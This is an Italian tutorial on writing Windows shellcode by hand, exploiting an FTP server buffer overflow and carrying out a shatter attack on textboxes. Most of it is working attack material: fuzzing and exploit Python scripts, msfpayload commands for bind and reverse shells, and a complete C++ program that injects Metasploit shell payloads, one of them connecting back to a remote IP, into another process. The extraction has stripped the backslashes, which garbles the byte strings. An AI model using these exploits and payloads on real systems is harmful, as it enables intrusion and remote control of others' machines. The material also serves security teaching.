Il documento si rivolge a chi ha già buone conoscenze relative alle tecniche con cui si realizza un buffer overflow e spiega più in dettaglio come realizzare shellcode e lo shatter attack.
Gabriele Mittica, CEO @Corley Cloud – “Come creare un’azienda “nativa in clou...
Buffer Overflow - Shellcode - Shatter Attack
1. LUIGI CAPUZZELLO
Buffer Overflow
Shellcode
Shatter Attack
Capire, testare, realizzare
Versione: 1.0
Luigi Capuzzello
19/12/2013
http://www.linkedin.com/pub/luigi-capuzzello/7/561/12a
http://www.slideshare.net/luigicapuzzello
@FisherKasparov
luigi.capuzzello
Il documento si rivolge a chi ha già buone conoscenze relative alle tecniche con cui si realizza un buffer
overflow e spiega più in dettaglio come realizzare shellcode e lo shatter attack .
2. 1. Creare uno Shellcode manualmente2
Sommario
1. Creare uno Shellcode manualmente ................................................................................................3
1. Creazione della Shell in C........................................................................................................3
2. Creazione della Shell in __asm................................................................................................4
3. Eliminazione degli opcode ‘00’................................................................................................5
4. Selezione degli opcode necessaria alla creazione della Shell...................................................5
5. Testare la sequenza di Opcode.................................................................................................5
2. Bufffer Overlow Exploitation..........................................................................................................6
3. Shatter Attack...................................................................................................................................9
...........................................................................................................................................................11
Luigi Capuzzello
3. 1. Creare uno Shellcode manualmente3
1. Creare uno Shellcode manualmente
Lo strumento principe per generare shellcode è e rimane metasploit. Lo scopo di questo paragrafo è semplicemente
quello di far toccare con mano cosa sia una shellcode e di che significato abbiano tutti i byte che essa contiene.
Per ottenere questo risultato credo che la cosa più utile sia quella di creare uno shellcode manualmente.
Per prima cosa bisogna creare in C la Shell che vogliamo utilizzare.
Per realizzarla posso usare, ad esempio, Visual C++ 6.0. Quindi:
•
Creo un nuovo progetto di tipo Win32 Console Application;
•
Gli do un nome;
•
Seleziono ‘a simple application’;
•
A questo punto in Source File trovo il file <nome progetto>.cpp; questo file è quello da usare per partire.
1. Creazione della Shell in C
Per iniziare posso creare una shell che apra una finestra DOS:
#include "stdafx.h"
#include "Windows.h"
#include "stdlib.h"
void main()
{
//Fase I: programma in C per fare la Shell
char var[4];
var[0]='c';
var[1]='m';
var[2]='d';
var[3]='0';
}
WinExec(var,1);
ExitProcess(1);
Luigi Capuzzello
4. 1. Creare uno Shellcode manualmente4
2. Creazione della Shell in __asm
A questo punto se debuggando la Shell funziona posso passare alla creazione del codice ASM da inserire direttamente
nel progetto. Per trovare il codice ASM basta:
•
Debuggare il progetto C con F10;
•
Una volta entrato nel Main() che è la funzione che contiene il mio codice premendo ALT+8 passo a
visualizzare l’assembly;
•
Del codice assembly che mi viene mostrato tengo solamente quello che mi serve (tolgo prologo ed epilogo);
•
Per conoscere l’indirizzo in memoria delle funzioni utilizzate (WinExec e ExitProcess) posso usare PEditor e
cercare dentro a Kernel32.dll le due funzioni esportate. A questo punto sommo l’ImageBase di Kernel32.dll
con l’indirizzo delle funzioni e ottengo:
// PromptDOS.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "Windows.h"
#include "stdlib.h"
void main()
{
__asm{
mov
mov
mov
mov
byte
byte
byte
byte
ptr
ptr
ptr
ptr
[ebp-4],63h
[ebp-3],6Dh
[ebp-2],64h
[ebp-1],0
//
//
//
//
c
m
d
0
//WinExec: Ricavo l'indirizzo con PEditor
mov
esi,esp
push
1
lea
eax,[ebp-4]
push
eax
mov
eax,0x7C86114D
call
eax
//ExitProcess: Ricavo l'inidirzzo con PEditor
push
1
mov
eax,0x7C81CAA2
call
eax
}
}
Luigi Capuzzello
5. 1. Creare uno Shellcode manualmente5
3. Eliminazione degli opcode ‘00’
Devo eliminarli altrimenti nella stringa che vado ad iniettare vengono visti come fine stringa e il resto della stringa
viene scartata. Nel nostro caso il carattere nullo è dato da:
mov
byte ptr [ebp-1],0
// 0
posso però ovviare in molti modi ad esempio con le istruzioni:
xor
mov
eax,eax
//Azzero eax
byte ptr [ebp-1],al
4. Selezione degli opcode necessaria alla creazione della Shell
A questo punto posso selezionare gli opcode da iniettare nel programma di prova. Per ricavare l’elenco degli opcode
basta:
•
Debuggare il programma con F10;
•
Una volta entrato nel Main() che è la funzione che contiene il mio codice premendo ALT+8 passo a
visualizzare l’assembly;
•
Con il tasto destro del mouse seleziono la voce ‘Code Bytes’ e mi appaiono i ByteCode;
•
A questo punto posso creare l’array dei bytecode necessari a generare la Shell;
char ShellCode[] =
"xC6x45xFCx63xC6x45xFDx6DxC6x45xFEx64x33xC0x88x45xFFx8BxF4x6Ax01x8Dx45xFCx50x
B8x4Dx11x86x7CxFFxD0x6Ax01xB8xA2xCAx81x7CxFFxD0";
5. Testare la sequenza di Opcode
Per testare se la sequenza di Opcode funziona correttamente posso usare un semplice programma di Test come
questo:
#include "windows.h"
char
shellcode[]="xC6x45xFCx63xC6x45xFDx6DxC6x45xFEx64x33xC0x88x45xFFx8BxF4x6Ax01x8Dx4
5xFCx50xB8x4Dx11x86x7CxFFxD0x6Ax01xB8xA2xCAx81x7CxFFxD0";
void (*opcode)();
void main()
{
opcode = (void(__cdecl *)(void))&shellcode;
opcode();
}
Luigi Capuzzello
6. 1. Creare uno Shellcode manualmente6
2. Bufffer Overlow Exploitation.
La distro utilizzata per effettuare questo esperimento è back-track 4.0; tutti i percorsi e i programmi indicati, a parte
gli script qui sotto riportati, possono essere trovati all’interno di back-track.
Per scoprire un buffer overflow (ad esempio su un server FTP) posso usare uno script python come quello che segue.
#!/usr/bin/python
import socket
# Create an array of buffers, from 20 to 2000, with increments of 20.
buffer=["A"]
counter=20
while len(buffer) <= 30:
buffer.append("A"*counter)
counter=counter+100
# Define the FTP commands to be fuzzed
commands=["MKD","CWD","STOR"]
# Run the fuzzing loop
for command in commands:
for string in buffer:
print "Fuzzing " + command + " with length:" +str(len(string))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.244.129',21)) # hardcoded IP address
s.recv(1024)
s.send('USER ftprn') # login procedure
s.recv(1024)
s.send('PASS ftprn')
s.recv(1024)
s.send(command + ' ' + string + 'rn') # evil buffer
s.recv(1024)
s.send('QUITrn')
s.close()
Nel caso specifico, il server FTP testato presenta un buffer overflow.
Trovo un buffer overflow se invio circo 2000 caratteri.
Ora anziché inviare 2000 caratteri di tipo ‘A’ ne creo 2000 a caso con:
root@bt:~# cd /pentest/exploits/framework3/
bt framework3 # cd tools/
bt tools # ./pattern_create.rb 2000
fatto il crash guardo con Olly cosa ho nel registro EIP (es. trovo i byte ‘72426655’).
per sapere in che posizione si trova quella stringa (all’interno di quella generata casualmente) uso:
bt tools # ./pattern_offset.rb 72426655
966
Poi guardo cosa ho nel registro ESP (es. trovo che i primi 4 byte sono ‘98AB’)
bt tools # ./pattern_offset.rb 98AB
986
Quindi ricavo che:
1. alla posizione 966 ho EIP
2. 16 (= 20 - 4) byte dopo ho ESP
la stringa è alla 966 posizione. Quindi modifico il mio script:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'x41' * 966 + 'x42' * 4 + 'x43' * 1030
print "nSending evil buffer..."
s.connect(('192.168.103.128',21))
data = s.recv(1024)
s.send('USER ftp' +'rn')
data = s.recv(1024)
Luigi Capuzzello
7. 1. Creare uno Shellcode manualmente7
s.send('PASS ftp' +'rn')
data = s.recv(1024)
s.send('STOR ' +buffer+'rn')
s.close()
i 4 byte trovati alla posizione 966 devono diventare un verso una zona di memoria cha abbia sufficiente spazio per
contenere una shellcode (generalmente 400/5000 byte). Posso guardare i registri ad esempio ESP o EBP.
Supponiamo che facendo un ‘JMP ESP’ io trovo sufficiente spazio.
Visto che in EIP posso mettere solo un indirizzo; allora ci metto l’indirizzo di una istruzione in user32.dll che fa proprio
il ‘JMP ESP’. Quindi con Olly:
3. Executable modules: doppio click su user32.dll
4. Search for | command: jmp esp
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ret = "x29x4cxe1x77" # 77E14C29 JMP ESP USER32.dll
buffer = 'x41' * 966 + ret + 'x90' * 16 + 'xCC' *1014
print "nSending evil buffer..."
s.connect(('192.168.103.128',21))
data = s.recv(1024)
s.send('USER ftp' +'rn')
data = s.recv(1024)
s.send('PASS ftp' +'rn')
data = s.recv(1024)
s.send('STOR ' +buffer+'rn')
s.close()
Nota Bene:
5. Ho inserito l’IP all’istruzione che fa il JMP ESP in user32.dll
6. Ho inserito 16 NOP
7. Ho inserito 1024 xCC che sono degli interrupt
Creo la shell:
bt framework3 # ./msfpayload windows/shell_bind_tcp O
bt framework3 # ./msfpayload windows/shell_bind_tcp C
oppure
bt framework3 # ./msfpayload windows/shell_bind_tcp LHOST=192.168.11.140 C
oppure faccio partire Metasploit Framework Web interface e tra i payload seleziono ‘windows bind shell’
A questo punto devo:
8. Aggiungere ‘x90’*16 alla shell ottenuta
9. Per avere un payload (senza caratteri strani) da riga di commando devo digitare:
#./msfpayload windows/shell/reverse_tcp LHOST=192.168.230.130 LPORT=4321 EXITFNUC=seh
r | ./msfencode -b 'x00x0d' -t c
cambio il mio programma con la shell ottenuta:
#!/usr/bin/python
import socket
shellcode =("xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8b"
"x45x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01"
..
..
"xc4x64xffxd6x52xffxd0x68xf0x8ax04x5fx53xffxd6"
"xffxd0")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ret = "x29x4cxe1x77" # 77E14C29 JMP ESP USER32.dll
buffer = 'x41' * 966 + ret + 'x90' * 16 + shellcode
print "nSending evil buffer..."
s.connect(('192.168.103.128',21))
data = s.recv(1024)
s.send('USER ftp' +'rn')
data = s.recv(1024)
s.send('PASS ftp' +'rn')
data = s.recv(1024)
Luigi Capuzzello
8. 1. Creare uno Shellcode manualmente8
s.send('STOR ' +buffer+'rn')
s.close()
Luigi Capuzzello
9. 1. Creare uno Shellcode manualmente9
3. Shatter Attack
Per chi non lo conoscesse ancora, questo tipo di attacco consente di iniettare ed eseguire in una qualsiasi textbox uno
shellcode.
Esistono shatter attack anche sulle ListBox e sulle barre di scorrimento, ma in questo caso mi occuperò esclusivamente
delle textbox cercando di descrivere concretamente come realizzare questo tipo di attacco..
Per eseguire l’attacco è necessario:
1.
Identificare l’applicazione che ha la textbox e che possibilmente giri con i diritti di amministrazione
2.
Identificare con OllyDbg:
a. la classe della finestra top che contiene la textbox
b. la classe della textbox
c. il Title della finestra top.
Per farlo è necessario fare l’Attach di Olly al processo che stiamo analizzando e guardare la sezione Windows.
3.
Selezionare da Metasploit la shellcode che si vuole iniettare e inserirla nel programma ShatterTextBox
4.
Eseguire il programma ShatterTextBox.exe <classe FinestraTop> <classe TextBox> <Title finestraTop>
5.
Utilizzare OllyDbg (sempre in Attach al processo che stiamo analizzando) per cercare l’indirizzo di memoria in
cui è stato iniettato la shellcode. Per farlo devo cercare la firma dok72
6.
Inserire l’indirizzo quando ShatterTextBox ce lo chiede
Di seguito il codice del programma ShatterTextBox.cpp
#include
#include
#include
#include
<windows.h>
<stdio.h>
<iostream.h>
<string.h>
using namespace std;
//OK !!!
//cmd.exe /c calc.exe - (metasploit - process)
/*unsigned char scode[] = "dok72"
"x90x90x90x90x90x90x90x90x90x90x90x90"
"x31xc9x83xe9xdaxd9xeexd9x74x24xf4x5bx81x73x13x8c"
"x8exbbx31x83xebxfcxe2xf4x70x66xffx31x8cx8ex30x74"
"xb0x05xc7x34xf4x8fx54xbaxc3x96x30x6exacx8fx50x78"
"x07xbax30x30x62xbfx7bxa8x20x0ax7bx45x8bx4fx71x3c"
"x8dx4cx50xc5xb7xdax9fx35xf9x6bx30x6exa8x8fx50x57"
"x07x82xf0xbaxd3x92xbaxdax07x92x30x30x67x07xe7x15"
"x88x4dx8axf1xe8x05xfbx01x09x4exc3x3dx07xcexb7xba"
"xfcx92x16xbaxe4x86x50x38x07x0ex0bx31x8cx8ex30x59"
"xb0xd1x8axc7xecxd8x32xc9x0fx4exc0x61xe4xf0x63xd3"
"xffxe6x23xcfx06x80xecxcex6bxedxd6x55xa2xebxc3x54"
"xacxa1xd8x11xefxefxd7x52xa2xebxc3x54x8cx8exbbx31";
*/
//OK!!!
//shell in ascolto su porta 12345 - (metasploit - process)
unsigned char scode[] = "dok72"
"x90x90x90x90x90x90x90x90x90x90x90x90"
"x2bxc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13x8f"
"xa0x54xb0x83xebxfcxe2xf4x73xcaxbfxfdx67x59xabx4f"
"x70xc0xdfxdcxabx84xdfxf5xb3x2bx28xb5xf7xa1xbbx3b"
"xc0xb8xdfxefxafxa1xbfxf9x04x94xdfxb1x61x91x94x29"
"x23x24x94xc4x88x61x9exbdx8ex62xbfx44xb4xf4x70x98"
"xfax45xdfxefxabxa1xbfxd6x04xacx1fx3bxd0xbcx55x5b"
"x8cx8cxdfx39xe3x84x48xd1x4cx91x8fxd4x04xe3x64x3b"
"xcfxacxdfxc0x93x0dxdfxf0x87xfex3cx3exc1xaexb8xe0"
"x70x76x32xe3xe9xc8x67x82xe7xd7x27x82xd0xf4xabx60"
Luigi Capuzzello
10. 1. Creare uno Shellcode manualmente10
"xe7x6bxb9x4cxb4xf0xabx66xd0x29xb1xd6x0ex4dx5cxb2"
"xdaxcax56x4fx5fxc8x8dxb9x7ax0dx03x4fx59xf3x07xe3"
"xdcxf3x17xe3xccxf3xabx60xe9xc8x64x89xe9xf3xddx51"
"x1axc8xf0xaaxffx67x03x4fx59xcax44xe1xdax5fx84xd8"
"x2bx0dx7ax59xd8x5fx82xe3xdax5fx84xd8x6axe9xd2xf9"
"xd8x5fx82xe0xdbxf4x01x4fx5fx33x3cx57xf6x66x2dxe7"
"x70x76x01x4fx5fxc6x3exd4xe9xc8x37xddx06x45x3exe0"
"xd6x89x98x39x68xcax10x39x6dx91x94x43x25x5ex16x9d"
"x71xe2x78x23x02xdax6cx1bx24x0bx3cxc2x71x13x42x4f"
"xfaxe4xabx66xd4xf7x06xe1xdexf1x3exb1xdexf1x01xe1"
"x70x70x3cx1dx56xa5x9axe3x70x76x3ex4fx70x97xabx60"
"x04xf7xa8x33x4bxc4xabx66xddx5fx84xd8xf1x78xb6xc3"
"xdcx5fx82x4fx5fxa0x54xb0";
/*
//OK !!!!
//shell si collega a 192.168.110.207 porta 12345 - (metasploit - process)
unsigned char scode[] = "dok72"
"x90x90x90x90x90x90x90x90x90x90x90x90"
"x31xc9x83xe9xb8xd9xeexd9x74x24xf4x5bx81x73x13x8f"
"xb5x16xbbx83xebxfcxe2xf4x73xdfxfdxf6x67x4cxe9x44"
"x70xd5x9dxd7xabx91x9dxfexb3x3ex6axbexf7xb4xf9x30"
"xc0xadx9dxe4xafxb4xfdxf2x04x81x9dxbax61x84xd6x22"
"x23x31xd6xcfx88x74xdcxb6x8ex77xfdx4fxb4xe1x32x93"
"xfax50x9dxe4xabxb4xfdxddx04xb9x5dx30xd0xa9x17x50"
"x8cx99x9dx32xe3x91x0axdax4cx84xcdxdfx04xf6x26x30"
"xcfxb9x9dxcbx93x18x9dxfbx87xebx7ex35xc1xbbxfaxeb"
"x70x63x70xe8xe9xddx25x89xe7xc2x65x89xd0xe1xe9x6b"
"xe7x7exfbx47xb4xe5xe9x6dxd0x3cxf3xddx0ex58x1exb9"
"xdaxdfx14x44x5fxddxcfxb2x7ax18x41x44x59xe6x45xe8"
"xdcxf6x45xf8xdcx4axc6xd3x4fx1dx78x74xe9xddx26x82"
"xe9xe6x9fx5ax1axddxfax42x25xd5x41x44x59xdfx06xea"
"xdax4axc6xddxe5xd1x70xd3xecxd8x7cxebxd6x9cxdax32"
"x68xdfx52x32x6dx84xd6x48x25x20x9fx46x71xf7x3bx45"
"xcdx99x9bxc1xb7x1exbdx10xe7xc7xe8x08x99x4ax63x93"
"x70x63x4dxecxddxe4x47xeaxe5xb4x47xeaxdaxe4xe9x6b"
"xe7x18xcfxbex41xe6xe9x6dxe5x4axe9x8cx70x65x7ex5c"
"xf6x73x6fx44xfaxb1xe9x6dx70xc2xeax44x5fxddx68x63"
"x6dxc6x45x44x59x4axc6xbb";
*/
int main(int argc, char* argv[])
{
HANDLE parentWnd;
HANDLE childWnd;
LONG scaddr;
char *hFinestraTop;
char *hTextBox;
char *hTitleFinestraTop;
char *buf;
//printf("%d",argc);
if(argc < 3)
{
cout << "" << endl;
cout << "Eseguire salvemondo.exe <Class della finestra Top> <Class della Textbox> [<Title della finestra Top>]"
<< endl;
cout << "" << endl;
cout << "Il progetto inietta una shellcode nella textbox di un programma" << endl;
cout << "- Attach OllyDbg al processo in esecuzione per trovare i nomi delle classi" << endl;
cout << "- OllyDbg per trovare in memoria il tracciante <dok72> cui segue la shellcode" << endl;
exit(0);
}
//Prelevo il nome della finestra Top (es. ThunderRT6FormDC)
//e della Textbox (es. ThunderRT6TextBox)
hFinestraTop=argv[1];
hTextBox=argv[2];
if (argc>3) {
//Mi viene passato anche il Title della finsetra top
Luigi Capuzzello
11. 1. Creare uno Shellcode manualmente11
hTitleFinestraTop=argv[3];
}
else {
hTitleFinestraTop=NULL;
}
//Prelevo la top-level window
parentWnd=FindWindow(hFinestraTop,hTitleFinestraTop);
if (parentWnd == NULL) {
printf("Non trovo la top-level window (%s)nn",hFinestraTop);
system("PAUSE");
return 1;
}
printf("...trovato handler della finestra top: %xn",parentWnd);
//Prelevo la finestra (textbox) in cui iniettare il codice
childWnd=FindWindowEx((HWND__*)parentWnd,NULL,hTextBox,NULL);
if (childWnd == NULL) {
printf("Non trovo la textbox (%s) in cui iniettare il codice ....nn",hTextBox);
system("PAUSE");
return 1;
}
printf("...trovato handler della Textbox: %xn",childWnd);
//Abilito la TextBox
if (SendMessage((HWND__*)childWnd,EM_SETREADONLY,FALSE,0)==0){
printf("Non riesco a inviare alla textbox il messaggio READONLY=FALSEnn");
system("PAUSE");
return 1;
}
buf= (char *) malloc ((size_t)strlen((const char *)scode)+1024*1024+1);
buf= (char *) memset(buf,0x90,1024*1024);
strcat(buf,(const char *)scode);
buf[strlen((const char *)scode)+1024*1024]=0;
//Aumento il numero di caratteri digitabili nella textbox
SendMessage((HWND__*)childWnd,EM_SETLIMITTEXT,sizeof(scode)+1024*1024+1,0);
//Salvo la shellcode nel controllo
if (!SendMessage((HWND__*)childWnd,WM_SETTEXT,0,(LPARAM)buf)){
printf("Non riesco a iniettare la shellcodenn");
system("PAUSE");
return 1;
}
printf("nInserisci l'address della shellcode iniettata (usa OllyDbg) (es. 0x0014E360)...n");
scanf("%x",&scaddr);
//La funzione per l'impaginazione diventa la nostra
printf("nModifico l'indirizzo della funzione che effettua l'impaginazionen");
SendMessage((HWND__*)childWnd,EM_SETWORDBREAKPROC,0L,scaddr);
//Eseguo la mia funzione...
printf("nEseguo la shellcoden");
SendMessage((HWND__*)childWnd,WM_LBUTTONDBLCLK,MK_LBUTTON,(LPARAM)0x000a000a);
}
return 0;
Luigi Capuzzello